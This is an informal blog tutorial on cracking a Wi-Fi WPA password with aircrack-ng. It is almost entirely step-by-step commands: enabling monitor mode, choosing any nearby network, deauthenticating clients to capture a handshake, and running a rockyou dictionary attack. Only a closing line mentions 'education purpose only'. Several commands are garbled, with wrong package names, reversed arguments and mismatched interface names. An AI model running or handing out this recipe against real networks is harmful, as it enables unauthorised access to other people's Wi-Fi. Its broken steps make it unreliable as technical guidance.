Skip to main content

how to get the wifi password in linux

this a easy one . So iam not gonna describe  the whole thing jsut follow the steps thats all.
Lets gets to it :)


first you need some free tools . if you are using a kali linux distro you already have it in case you dont follow this commands one by one



  • sudo apt-get install airmon-ng 
  • sudo apt-get install airodump-ng
  • sudo apt-get install aireplay-ng
  • sudo apt-get install aircrack-ng 
downlod this wordlist


http://scrapmaker.com/download/data/wordlists/dictionaries/rockyou.txt


and after this these we pretty much get everything we need


next step type in

ifconfig


it will show the available device pick one in mind it will looks like wlan1 wlan0 something like that 


and iam gonna pick wlan0

next type in
airmon-ng wlan0 start 
thats will start our wlan0 as monitor mode
and show some process kill them all with
kill pid

then type in
airodump-ng wlan0mon
 this will show all the available network pick the network and copy the essid,channel and bssid to a clipboard you will need it

now open a new tab type in(fill in bssid essid and channel your self from the clipboard)
 airodump-ng -c channel -w /root/essid --bssid bssid wlan1mon
 open a new tab type in (fill in the bssid)
aireplay-ng -0 -0 -a bssid wlan1mon
 wait for a sometime and then you will notice wpa handshake in our airodump tab.

to the last step 
copy both the .cap file from this /root/essid place anf the rockyou.txt to a common folder
open a new tab and ove to the common folder useing the cd command
then type in
aircrack-ng -w rockyou.txt *.cap

this will take some time .



for not the rockyou.txt have a large collection for words and aircrack compare it with the .cap file and eventually find a match


and for my defense this blog is for education purpose only and you guys should have fun while staying inside the law   

 

Comments